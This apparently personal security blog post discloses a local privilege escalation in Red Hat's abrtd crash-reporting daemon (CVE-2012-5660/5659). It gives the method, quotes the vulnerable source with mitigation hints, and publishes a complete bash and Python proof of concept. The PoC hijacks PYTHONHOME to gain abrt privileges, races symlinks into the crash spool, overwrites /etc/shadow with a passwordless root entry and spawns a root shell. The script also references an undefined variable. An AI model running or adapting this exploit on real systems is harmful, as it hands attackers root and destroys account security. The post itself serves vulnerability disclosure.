martin carpenter

contents

most popular
2012/05/05, updated 2012/12/15
ubuntu unity lens for vim
2010/04/14
ckwtmpx

redhat abrtd local privilege escalation vulnerability

2013/04/30

tags: abrtd redhat vulnerability CVE-2012-5660 CVE-2012-5659

Red Hat Linux's Automatic Bug Reporting Tool (or abrt) watches for system application or kernel crashes and then performs administrator configurable actions such as writing out a core file. (Ubuntu has something similar in the form of whoopsie).

Security conscious administrators should be aware that both of these tools include options to perform remote reporting of crashes.

I discovered a local privilege escalation in the abrtd daemon 2.0.8 of Red Hat Linux 6.3. Attacker requires only a local user account to gain root. Red Hat's bug report states that an attacker requires abrt user privilege but as we shall see this is easy to obtain. (Miloslav Trmač independently discovered this first part of the attack so there are two CVEs for this RHSA).

Overview of method

  1. Obtain the abrt user privileges by abusing the environment in the SETUID wrapper. (Note this is already enough to read other users' core files).
  2. Use these privileges to write (predictable) directory names into /var/spool/abrt, containing symlinks to sensitive files.
  3. Make a known program crash a lot.
  4. Wait for abrtd to come along (as root) and chown(2) those symlinks' targets to user abrt.
  5. Use (1) again to write whatever we like into the chosen sensitive files.

I used /etc/shadow as a suitable example of a sensitive file, writing a single line into it to provide a root account with no password.

Observations / hints for mitigation

abrt-action-install-debuginfo-to-abrt-cache.c:main():

        /* Clear dangerous stuff from env */
        static const char forbid[] =
            "LD_LIBRARY_PATH" ""
            "LD_PRELOAD" ""
            "LD_TRACE_LOADED_OBJECTS" ""
            "LD_BIND_NOW" ""
            "LD_AOUT_LIBRARY_PATH" ""
            "LD_AOUT_PRELOAD" ""
            "LD_NOWARN" ""
            "LD_KEEPDIR" ""
        ;
        const char *p = forbid;
        do {
            unsetenv(p);
            p += strlen(p) + 1;
        } while (*p);

abrt-hook-ccpp.c:main():

        strcpy(source_filename + source_base_ofs, "maps");
        strcpy(dest_base, FILENAME_MAPS);
        copy_file(source_filename, dest_filename, 0640);
        IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid));

Proof of concept

#!/bin/bash

exe=/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
libdir=$PWD/lib64/python2.6

echo "Setting up fake python library in $libdir"
mkdir -p $libdir
rsync -a --exclude '*.py?' /usr/lib64/python2.6/* $libdir

echo "Munging $libdir/os.py"
cat >> $libdir/os.py << EOF
import posix # can't hit os.* from inside os
posix.unsetenv("PYTHONHOME") # done with fake lib
posix.system("$PWD/sploit.py")
posix._exit(0)
EOF

# Set PYTHONHOME to point to our munged libs
export PYTHONHOME=$PWD

# Run the wrapped python script, import munged libs
echo "Exploiting $exe"
ls -l $exe
exec $exe

This is the sploit.py script that does the actual work as the abrt user when the fake python os module is imported:

#!/usr/bin/python

import os
import pwd
import time
from subprocess import call

def get_time():
    now = time.localtime()
    print "Time now: " + time.strftime("%Y-%m-%d-%H:%M:%S", now)
    return now

def make_dir_and_links(dir):
    print "Making %s" % dir
    os.mkdir(dir)
    os.symlink("/etc/shadow", "%s/maps" % dir)
    os.symlink("/etc/shadow", "%s/limits" % dir)
    os.symlink("/etc/shadow", "%s/open_fds" % dir)

attempts = 256 # no of dirs/crashes to create

# Leave us some space (10s) to do the symlink stuffing
now = get_time()
while now.tm_sec > 49:
    time.sleep(1)
    now = get_time()

tstamp = time.strftime("%Y-%m-%d-%H:%M:59", now)
filepat = "/var/spool/abrt/ccpp-" + tstamp + "-%s"

print "\nMaking dirs and symlinks"
pid = os.getpid()
for i in range(pid, pid+attempts):
    dir = filepat % i
    make_dir_and_links(dir)
    make_dir_and_links(dir+".new")

# Perhaps we left too much time...
to_sleep = 58.9 - time.localtime().tm_sec
print "\nSleeping for %i seconds" % to_sleep
time.sleep(to_sleep)

print "\nCrashing"
for i in range(attempts):
    call("/bin/sleep 10 & /bin/kill -ABRT $!", shell=True)

abrt_uid = pwd.getpwnam("abrt").pw_uid
print "\nWaiting for abrt to own %s" % target
while (os.stat(target).st_uid != abrt_uid):
    time.sleep(1)

print "\nOverwriting /etc/shadow"
os.chmod("/etc/shadow", 0600)
f = file("/etc/shadow", "w")
f.write("root::::::::\n")
f.close()

print "\nInvoking /bin/bash as root"
os.unsetenv("DISPLAY") # else xauth
os.system("/bin/su -c /bin/bash")
os._exit(0)

timeline